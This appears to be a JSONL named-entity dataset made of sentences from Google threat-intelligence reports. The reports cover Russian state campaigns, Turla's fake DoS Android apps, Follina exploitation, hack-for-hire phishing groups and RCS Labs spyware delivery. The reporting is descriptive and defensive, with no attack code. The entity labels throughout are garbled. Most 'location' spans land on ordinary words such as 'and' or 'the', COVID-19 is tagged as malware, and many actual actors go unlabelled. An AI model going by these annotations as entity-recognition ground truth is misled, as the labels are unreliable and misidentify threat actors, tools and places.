-{"id":11478,"text":"TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.","entities":[{"id":35095,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":11479,"text":"Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.","entities":[{"id":35097,"label":"location","start_offset":51,"end_offset":54},{"id":35098,"label":"location","start_offset":75,"end_offset":78},{"id":35100,"label":"location","start_offset":90,"end_offset":93},{"id":35102,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]}
-{"id":11480,"text":"Most of these coordinated influence operations are Russian language efforts aimed at ensuring domestic support in Russia for the war.","entities":[{"id":35105,"label":"location","start_offset":0,"end_offset":4},{"id":35106,"label":"location","start_offset":47,"end_offset":50},{"id":35108,"label":"location","start_offset":94,"end_offset":102},{"id":35110,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":11481,"text":"Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.","entities":[{"id":35111,"label":"location","start_offset":30,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":11482,"text":"This is the first known instance of Turla distributing Android-related malware.","entities":[],"relations":[],"Comments":[]}
-{"id":11483,"text":"The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.","entities":[{"id":35121,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":11484,"text":"We believe there was no major impact on Android users and that the number of installs was miniscule.","entities":[{"id":35122,"label":"location","start_offset":24,"end_offset":29},{"id":35123,"label":"location","start_offset":30,"end_offset":36},{"id":35124,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
 {"id":11485,"text":"The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.","entities":[],"relations":[],"Comments":[]}
-{"id":11486,"text":"However, the 'DoS' consists only of a single GET request to the target website, not enough to be effective.","entities":[{"id":35126,"label":"location","start_offset":28,"end_offset":32},{"id":35127,"label":"location","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":11487,"text":"The list of target websites for the app can be seen in the CyberChef recipe here.","entities":[{"id":35128,"label":"location","start_offset":4,"end_offset":8},{"id":35129,"label":"location","start_offset":12,"end_offset":18},{"id":35130,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":11488,"text":"During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.","entities":[],"relations":[],"Comments":[]}
-{"id":11489,"text":"In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro.","entities":[{"id":35135,"label":"location","start_offset":8,"end_offset":12},{"id":35136,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":11490,"text":"This app is quite different from the Turla apps described above and written by a different developer.","entities":[{"id":35139,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":11491,"text":"It also downloads a list of targets from an external site, but unlike the Turla apps, it continually sends requests to the target websites until it is stopped by the user.","entities":[{"id":35140,"label":"location","start_offset":20,"end_offset":24},{"id":35142,"label":"location","start_offset":123,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":11492,"text":"Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.","entities":[{"id":35145,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":11493,"text":"Indicators: The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft.","entities":[{"id":35149,"label":"location","start_offset":122,"end_offset":125},{"id":35150,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":11494,"text":"Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).","entities":[{"id":35153,"label":"location","start_offset":13,"end_offset":19},{"id":35154,"label":"identity","start_offset":62,"end_offset":71},{"id":35155,"label":"location","start_offset":99,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":11495,"text":"Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.","entities":[{"id":35159,"label":"location","start_offset":84,"end_offset":87},{"id":35160,"label":"threat-actor","start_offset":88,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":11496,"text":"The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.","entities":[{"id":35161,"label":"threat-actor","start_offset":4,"end_offset":12},{"id":35162,"label":"location","start_offset":13,"end_offset":21},{"id":35164,"label":"location","start_offset":154,"end_offset":159}],"relations":[],"Comments":[]}
 {"id":11497,"text":"TAG has also observed an increasing number of financially motivated actors targeting Ukraine.","entities":[],"relations":[],"Comments":[]}
-{"id":11498,"text":"One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.","entities":[{"id":35168,"label":"location","start_offset":11,"end_offset":19}],"relations":[],"Comments":[]}
 {"id":11499,"text":"We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.","entities":[{"id":35171,"label":"threat-actor","start_offset":97,"end_offset":102},{"id":35172,"label":"malware","start_offset":137,"end_offset":143},{"id":35173,"label":"location","start_offset":230,"end_offset":233}],"relations":[],"Comments":[]}
-{"id":11500,"text":"Ghostwriter\/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.","entities":[{"id":35176,"label":"location","start_offset":109,"end_offset":112},{"id":35177,"label":"location","start_offset":120,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":11501,"text":"They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March.","entities":[{"id":35179,"label":"attack-pattern","start_offset":50,"end_offset":58},{"id":35181,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":11502,"text":"An example of this technique, used to target Facebook users, can be seen in the screenshot below.","entities":[{"id":35183,"label":"location","start_offset":38,"end_offset":44},{"id":35185,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
 {"id":11503,"text":"COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.","entities":[{"id":35186,"label":"threat-actor","start_offset":0,"end_offset":9},{"id":35189,"label":"attack-pattern","start_offset":104,"end_offset":112},{"id":35190,"label":"location","start_offset":152,"end_offset":155},{"id":35191,"label":"location","start_offset":193,"end_offset":196},{"id":35192,"label":"location","start_offset":210,"end_offset":213}],"relations":[],"Comments":[]}
 {"id":11504,"text":"In addition to including phishing links directly in the email, the attackers also link to PDFs and\/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.","entities":[{"id":35193,"label":"attack-pattern","start_offset":25,"end_offset":33},{"id":35195,"label":"location","start_offset":131,"end_offset":134},{"id":35197,"label":"attack-pattern","start_offset":202,"end_offset":210}],"relations":[],"Comments":[]}
-{"id":11505,"text":"In at least one case, unrelated to Ukraine, they have leaked information from a compromised account.","entities":[{"id":35199,"label":"location","start_offset":16,"end_offset":20}],"relations":[],"Comments":[]}
 {"id":11506,"text":"These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":35201,"label":"attack-pattern","start_offset":6,"end_offset":14},{"id":35203,"label":"location","start_offset":129,"end_offset":132},{"id":35204,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
 {"id":11507,"text":"Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.","entities":[{"id":35205,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":35206,"label":"location","start_offset":51,"end_offset":59},{"id":35208,"label":"threat-actor","start_offset":82,"end_offset":90},{"id":35209,"label":"tools","start_offset":158,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":11508,"text":"In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.","entities":[{"id":35215,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":11509,"text":"Email contents vary from COVID-19 vaccine policy to the humanitarian crisis in Ukraine.","entities":[{"id":35218,"label":"malware","start_offset":69,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":11510,"text":"As part of TAG's mission to counter serious threats to Google and our users, we've published analysis on a range of persistent threats including government-backed attackers, commercial surveillance vendors, and serious criminal operators.","entities":[{"id":35221,"label":"location","start_offset":17,"end_offset":24},{"id":35223,"label":"location","start_offset":62,"end_offset":65},{"id":35224,"label":"location","start_offset":107,"end_offset":112},{"id":35225,"label":"location","start_offset":207,"end_offset":210}],"relations":[],"Comments":[]}
-{"id":11511,"text":"Today, we're sharing intelligence on a segment of attackers we call hack-for-hire, whose niche focuses on compromising accounts and exfiltrating data as a service.","entities":[{"id":35227,"label":"location","start_offset":63,"end_offset":67},{"id":35228,"label":"location","start_offset":68,"end_offset":72},{"id":35229,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":11512,"text":"In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.","entities":[{"id":35230,"label":"location","start_offset":123,"end_offset":127},{"id":35231,"label":"location","start_offset":137,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":11513,"text":"They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.","entities":[{"id":35232,"label":"location","start_offset":5,"end_offset":11},{"id":35233,"label":"location","start_offset":19,"end_offset":24},{"id":35234,"label":"location","start_offset":34,"end_offset":37},{"id":35235,"label":"location","start_offset":80,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":11514,"text":"Both, however, enable attacks by those who would otherwise lack the capabilities to do so.","entities":[{"id":35236,"label":"location","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":11515,"text":"We have seen hack-for-hire groups target human rights and political activists, journalists, and other high-risk users around the world, putting their privacy, safety and security at risk.","entities":[{"id":35237,"label":"location","start_offset":13,"end_offset":17},{"id":35238,"label":"location","start_offset":34,"end_offset":40},{"id":35239,"label":"location","start_offset":54,"end_offset":57},{"id":35240,"label":"location","start_offset":92,"end_offset":95},{"id":35241,"label":"location","start_offset":129,"end_offset":134},{"id":35242,"label":"tools","start_offset":159,"end_offset":165},{"id":35243,"label":"location","start_offset":166,"end_offset":169},{"id":35244,"label":"location","start_offset":170,"end_offset":178}],"relations":[],"Comments":[]}
 {"id":11516,"text":"They also conduct corporate espionage, handily obscuring their clients’ role.","entities":[],"relations":[],"Comments":[]}
-{"id":11517,"text":"To help users and defenders, we will provide examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates and context around their capabilities and persistence mechanisms.","entities":[{"id":35245,"label":"location","start_offset":14,"end_offset":17},{"id":35246,"label":"location","start_offset":32,"end_offset":36},{"id":35247,"label":"location","start_offset":61,"end_offset":65},{"id":35250,"label":"location","start_offset":105,"end_offset":108},{"id":35252,"label":"location","start_offset":134,"end_offset":137},{"id":35253,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":11518,"text":"The hack-for-hire landscape is fluid, both in how the attackers organize themselves and in the wide range of targets they pursue in a single campaign at the behest of disparate clients.","entities":[{"id":35254,"label":"location","start_offset":4,"end_offset":8},{"id":35255,"label":"location","start_offset":84,"end_offset":87},{"id":35256,"label":"location","start_offset":100,"end_offset":105},{"id":35257,"label":"location","start_offset":141,"end_offset":149}],"relations":[],"Comments":[]}
-{"id":11519,"text":"Some hack-for-hire attackers openly advertise their products and services to anyone willing to pay, while others operate more discreetly selling to a limited audience.","entities":[{"id":35258,"label":"location","start_offset":5,"end_offset":9},{"id":35259,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":11520,"text":"For example, TAG has observed Indian hack-for-hire firms work with third party private investigative services — intermediaries that reach out for services when a client requires them — and provide data exfiltrated from a successful operation.","entities":[{"id":35262,"label":"location","start_offset":37,"end_offset":41},{"id":35263,"label":"location","start_offset":51,"end_offset":56},{"id":35265,"label":"location","start_offset":178,"end_offset":182},{"id":35266,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":11521,"text":"This is detailed in depth in today’s Reuters investigation into the Indian hack-for-hire ecosystem.","entities":[{"id":35270,"label":"location","start_offset":75,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":11522,"text":"We have also observed Indian hack-for-hire firms work with freelance actors not directly employed by the firms themselves.","entities":[{"id":35272,"label":"location","start_offset":29,"end_offset":33},{"id":35273,"label":"location","start_offset":43,"end_offset":48},{"id":35274,"label":"location","start_offset":105,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":11523,"text":"The breadth of targets in hack-for-hire campaigns stands in contrast to many government-backed operations, which often have a clearer delineation of mission and targets.","entities":[{"id":35275,"label":"location","start_offset":26,"end_offset":30},{"id":35276,"label":"location","start_offset":72,"end_offset":76},{"id":35277,"label":"location","start_offset":149,"end_offset":156},{"id":35278,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":11524,"text":"A recent campaign from an Indian hack-for-hire operator was observed targeting an IT company in Cyprus, an education institution in Nigeria, a fintech company in the Balkans and a shopping company in Israel.","entities":[{"id":35279,"label":"location","start_offset":9,"end_offset":17},{"id":35281,"label":"location","start_offset":33,"end_offset":37},{"id":35285,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]}
 {"id":11525,"text":"India","entities":[],"relations":[],"Comments":[]}
-{"id":11526,"text":"Since 2012, TAG has been tracking an interwoven set of Indian hack-for-hire actors, with many having previously worked for Indian offensive security providers Appin and Belltrox.","entities":[{"id":35291,"label":"location","start_offset":62,"end_offset":66},{"id":35292,"label":"location","start_offset":89,"end_offset":93},{"id":35294,"label":"location","start_offset":140,"end_offset":148},{"id":35296,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":11527,"text":"One cluster of this activity frequently targets government, healthcare, and telecom sectors in Saudi Arabia, the United Arab Emirates, and Bahrain with credential phishing campaigns.","entities":[{"id":35299,"label":"location","start_offset":72,"end_offset":75},{"id":35302,"label":"location","start_offset":135,"end_offset":138},{"id":35304,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
 {"id":11528,"text":"These credential phishing campaigns have ranged from targeting specific government organizations to AWS accounts to Gmail accounts.","entities":[{"id":35305,"label":"attack-pattern","start_offset":17,"end_offset":25}],"relations":[],"Comments":[]}
-{"id":11529,"text":"TAG has linked former employees of both Appin and Belltrox to Rebsec, a new firm that openly advertises corporate espionage as an offering on its company website.","entities":[{"id":35310,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":11530,"text":"Russia","entities":[],"relations":[],"Comments":[]}
 {"id":11531,"text":"While investigating a 2017 credential phishing campaign that targeted a prominent Russian anti-corruption journalist, we discovered the Russian attacker targeting other journalists, politicians across Europe, and various NGOs and non-profit organizations.","entities":[{"id":35315,"label":"attack-pattern","start_offset":38,"end_offset":46},{"id":35316,"label":"location","start_offset":47,"end_offset":55},{"id":35320,"label":"location","start_offset":209,"end_offset":212},{"id":35321,"label":"location","start_offset":226,"end_offset":229}],"relations":[],"Comments":[]}
-{"id":11532,"text":"But what stuck out during this investigation was the breadth of targeting, which also included individuals that had no affiliation with the selected organizations, and appeared to be regular, everyday citizens in Russia and surrounding countries.","entities":[{"id":35322,"label":"location","start_offset":164,"end_offset":167},{"id":35324,"label":"location","start_offset":220,"end_offset":223}],"relations":[],"Comments":[]}
 {"id":11533,"text":"This hack-for-hire actor has been publicly referred to as 'Void Balaur'.","entities":[{"id":35325,"label":"location","start_offset":5,"end_offset":9},{"id":35326,"label":"threat-actor","start_offset":59,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":11534,"text":"These campaigns were similar regardless of target, consisting of a credential phishing email with a link to an attacker-controlled phishing page.","entities":[{"id":35327,"label":"location","start_offset":43,"end_offset":49},{"id":35328,"label":"attack-pattern","start_offset":78,"end_offset":86},{"id":35329,"label":"attack-pattern","start_offset":131,"end_offset":139},{"id":35330,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":11535,"text":"The lures ranged from fake Gmail and other webmail provider notifications to messages spoofing Russian government organizations.","entities":[{"id":35332,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":11536,"text":"After the target account was compromised, the attacker generally maintained persistence by granting an OAuth token to a legitimate email application like Thunderbird or generating an App Password to access the account via IMAP.","entities":[{"id":35334,"label":"location","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":11537,"text":"Both OAuth tokens and App Passwords are revoked when a user changes their password.","entities":[{"id":35335,"label":"location","start_offset":18,"end_offset":21},{"id":35336,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":11538,"text":"During our early investigation, TAG discovered the attacker’s public website (no longer available) advertising account hacking capabilities for email and social media services.","entities":[{"id":35337,"label":"location","start_offset":11,"end_offset":16},{"id":35339,"label":"location","start_offset":62,"end_offset":68},{"id":35340,"label":"location","start_offset":150,"end_offset":153},{"id":35341,"label":"location","start_offset":161,"end_offset":166}],"relations":[],"Comments":[]}
-{"id":11539,"text":"The site claimed to have received positive reviews on Russian underground forums such as Dublikat and Probiv.cc.","entities":[{"id":35344,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":11540,"text":"Over the past five years, TAG has observed the group targeting accounts at major webmail providers like Gmail, Hotmail, and Yahoo! and regional webmail providers like abv.bg, mail.ru, inbox.lv, and UKR.net.","entities":[{"id":35348,"label":"location","start_offset":75,"end_offset":80},{"id":35351,"label":"location","start_offset":120,"end_offset":123},{"id":35353,"label":"location","start_offset":131,"end_offset":134},{"id":35357,"label":"location","start_offset":194,"end_offset":197}],"relations":[],"Comments":[]}
-{"id":11541,"text":"United Arab Emirates TAG is also tracking a hack-for-hire group now based in the United Arab Emirates that is mostly active in the Middle East and North Africa.","entities":[{"id":35359,"label":"location","start_offset":44,"end_offset":48},{"id":35362,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":11542,"text":"They have primarily targeted government, education, and political organizations including Middle East focused NGOs in Europe and the Palestinian political party Fatah.","entities":[{"id":35364,"label":"location","start_offset":52,"end_offset":55},{"id":35367,"label":"location","start_offset":125,"end_offset":128}],"relations":[],"Comments":[]}
 {"id":11543,"text":"Amnesty International has also reported on their campaigns.","entities":[],"relations":[],"Comments":[]}
 {"id":11544,"text":"The group commonly uses Google or OWA password reset lures to steal credentials from targets, often using the MailJet or SendGrid API to send phishing emails.","entities":[{"id":35375,"label":"attack-pattern","start_offset":142,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":11545,"text":"Unlike many hack-for-hire actors that use open source phishing frameworks like Evilginx or GoPhish, this group uses a custom phishing kit that utilizes Selenium, a self described 'suite of tools for automating web browsers.'","entities":[{"id":35376,"label":"location","start_offset":7,"end_offset":11},{"id":35377,"label":"location","start_offset":12,"end_offset":16},{"id":35378,"label":"attack-pattern","start_offset":47,"end_offset":53},{"id":35379,"label":"attack-pattern","start_offset":54,"end_offset":62},{"id":35381,"label":"attack-pattern","start_offset":125,"end_offset":133}],"relations":[],"Comments":[]}
 {"id":11546,"text":"Previously described by Amnesty, this phishing kit has remained under active development over the past five years.","entities":[{"id":35384,"label":"attack-pattern","start_offset":38,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":11547,"text":"After compromising an account, the actor maintains persistence by granting themselves an OAuth token to a legitimate email app like Thunderbird, or by linking the victim Gmail account to an attacker-owned account on a third-party mail provider.","entities":[],"relations":[],"Comments":[]}
-{"id":11548,"text":"The attacker would then use a custom tool to download the mailbox contents via IMAP.","entities":[{"id":35388,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":11549,"text":"This group also has links to the original developers of H-Worm, also known as njRAT.","entities":[{"id":35390,"label":"malware","start_offset":78,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":11550,"text":"In 2014, Microsoft filed a civil suit against the developer, Mohammed Benabdellah, for the development and dissemination of H-Worm.","entities":[{"id":35394,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":11551,"text":"Benabdellah, who also goes by the moniker Houdini, has been actively involved in the day-to-day development and operational deployment of the credential phishing capabilities used by this group since its inception.","entities":[{"id":35397,"label":"location","start_offset":22,"end_offset":26},{"id":35399,"label":"location","start_offset":85,"end_offset":88},{"id":35401,"label":"location","start_offset":108,"end_offset":111},{"id":35402,"label":"attack-pattern","start_offset":153,"end_offset":161},{"id":35403,"label":"malware","start_offset":204,"end_offset":213}],"relations":[],"Comments":[]}
 {"id":11552,"text":"As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.","entities":[{"id":35404,"label":"tools","start_offset":102,"end_offset":108},{"id":35405,"label":"location","start_offset":109,"end_offset":112},{"id":35406,"label":"location","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":11553,"text":"Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further harm.","entities":[{"id":35407,"label":"location","start_offset":40,"end_offset":43},{"id":35408,"label":"location","start_offset":66,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":11554,"text":"We encourage any high risk user to enable Advanced Protection and Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.","entities":[{"id":35409,"label":"location","start_offset":51,"end_offset":61},{"id":35410,"label":"location","start_offset":62,"end_offset":65},{"id":35411,"label":"location","start_offset":96,"end_offset":100},{"id":35412,"label":"location","start_offset":110,"end_offset":113},{"id":35413,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":11555,"text":"Additionally, our CyberCrime Investigation Group is sharing relevant details and indicators with law enforcement.","entities":[{"id":35415,"label":"location","start_offset":77,"end_offset":80},{"id":35416,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":11556,"text":"TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted.","entities":[{"id":35417,"label":"location","start_offset":46,"end_offset":49},{"id":35418,"label":"location","start_offset":80,"end_offset":88},{"id":35419,"label":"location","start_offset":89,"end_offset":98},{"id":35420,"label":"location","start_offset":100,"end_offset":103},{"id":35421,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
 {"id":11557,"text":"We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across the industry.","entities":[{"id":35422,"label":"location","start_offset":3,"end_offset":7},{"id":35423,"label":"location","start_offset":51,"end_offset":54},{"id":35424,"label":"location","start_offset":66,"end_offset":70},{"id":35425,"label":"location","start_offset":86,"end_offset":93},{"id":35426,"label":"location","start_offset":105,"end_offset":108},{"id":35427,"label":"threat-actor","start_offset":109,"end_offset":113},{"id":35428,"label":"location","start_offset":154,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":11558,"text":"With contributions from Winnona DeSombre UAE hack-for-hire Group Domains: Indian hack-for-hire Group Domains: Russian hack-for-hire Group Domains:","entities":[{"id":35430,"label":"location","start_offset":45,"end_offset":49},{"id":35432,"label":"location","start_offset":81,"end_offset":85},{"id":35434,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":11559,"text":"Google has been tracking the activities of commercial spyware vendors for years, and taking steps to protect people.","entities":[{"id":35437,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":11560,"text":"Just last week, Google testified at the EU Parliamentary hearing on “Big Tech and Spyware” about the work we have done to monitor and disrupt this thriving industry.","entities":[{"id":35441,"label":"location","start_offset":78,"end_offset":81},{"id":35442,"label":"location","start_offset":122,"end_offset":129},{"id":35443,"label":"location","start_offset":130,"end_offset":133},{"id":35444,"label":"location","start_offset":156,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":11561,"text":"Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.","entities":[{"id":35450,"label":"location","start_offset":147,"end_offset":150},{"id":35451,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":11562,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":35453,"label":"location","start_offset":59,"end_offset":65},{"id":35454,"label":"location","start_offset":84,"end_offset":87},{"id":35455,"label":"location","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":11563,"text":"Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.","entities":[{"id":35456,"label":"location","start_offset":120,"end_offset":124},{"id":35457,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":11564,"text":"This makes the Internet less safe and threatens the trust on which users depend.","entities":[{"id":35458,"label":"location","start_offset":29,"end_offset":33},{"id":35459,"label":"location","start_offset":34,"end_offset":37},{"id":35460,"label":"location","start_offset":52,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":11565,"text":"Today, alongside Google’s Project Zero, we are detailing capabilities we attribute to RCS Labs, an Italian vendor that uses a combination of tactics, including atypical drive-by downloads as initial infection vectors, to target mobile users on both iOS and Android.","entities":[{"id":35464,"label":"location","start_offset":43,"end_offset":46},{"id":35467,"label":"location","start_offset":107,"end_offset":113},{"id":35468,"label":"location","start_offset":221,"end_offset":227},{"id":35469,"label":"location","start_offset":228,"end_offset":234},{"id":35470,"label":"location","start_offset":253,"end_offset":256}],"relations":[],"Comments":[]}
-{"id":11566,"text":"We have identified victims located in Italy and Kazakhstan.","entities":[{"id":35472,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":11567,"text":"All campaigns TAG observed originated with a unique link sent to the target.","entities":[{"id":35474,"label":"location","start_offset":69,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":11568,"text":"Once clicked, the page attempted to get the user to download and install a malicious application on either Android or iOS.","entities":[{"id":35475,"label":"location","start_offset":18,"end_offset":22},{"id":35476,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":11569,"text":"In some cases, we believe the actors worked with the target’s ISP to disable the target’s mobile data connectivity.","entities":[{"id":35477,"label":"location","start_offset":53,"end_offset":59},{"id":35478,"label":"location","start_offset":81,"end_offset":87},{"id":35479,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":11570,"text":"Once disabled, the attacker would send a malicious link via SMS asking the target to install an application to recover their data connectivity.","entities":[{"id":35480,"label":"location","start_offset":75,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":11571,"text":"We believe this is the reason why most of the applications masqueraded as mobile carrier applications.","entities":[{"id":35481,"label":"location","start_offset":34,"end_offset":38},{"id":35482,"label":"location","start_offset":74,"end_offset":80},{"id":35483,"label":"location","start_offset":81,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":11572,"text":"When ISP involvement is not possible, applications are masqueraded as messaging applications.","entities":[{"id":35484,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":11573,"text":"The page, in Italian, asks the user to install one of these applications in order to recover their account.","entities":[{"id":35485,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":11574,"text":"Looking at the code of the page, we can see that only the WhatsApp download links are pointing to attacker controlled content for Android and iOS users.","entities":[{"id":35488,"label":"malware","start_offset":27,"end_offset":31},{"id":35489,"label":"location","start_offset":36,"end_offset":39},{"id":35490,"label":"location","start_offset":49,"end_offset":53},{"id":35492,"label":"location","start_offset":82,"end_offset":85},{"id":35493,"label":"location","start_offset":118,"end_offset":125},{"id":35494,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":11575,"text":"To distribute the iOS application, attackers simply followed Apple instructions on how to distribute proprietary in-house apps to Apple devices and used the itms-services protocol with the following manifest file and using com.ios.Carrier as the identifier.","entities":[{"id":35498,"label":"location","start_offset":116,"end_offset":121},{"id":35500,"label":"location","start_offset":144,"end_offset":147},{"id":35501,"label":"location","start_offset":199,"end_offset":207},{"id":35502,"label":"location","start_offset":213,"end_offset":216},{"id":35503,"label":"location","start_offset":231,"end_offset":238}],"relations":[],"Comments":[]}
 {"id":11576,"text":"The resulting application is signed with a certificate from a company named 3-1 Mobile SRL (Developer ID: 58UP7GFWAA).","entities":[],"relations":[],"Comments":[]}
 {"id":11577,"text":"The certificate satisfies all of the iOS code signing requirements on any iOS devices because the company was enrolled in the Apple Developer Enterprise Program.","entities":[{"id":35505,"label":"attack-pattern","start_offset":41,"end_offset":53},{"id":35506,"label":"identity","start_offset":126,"end_offset":131},{"id":35507,"label":"location","start_offset":142,"end_offset":152}],"relations":[],"Comments":[]}
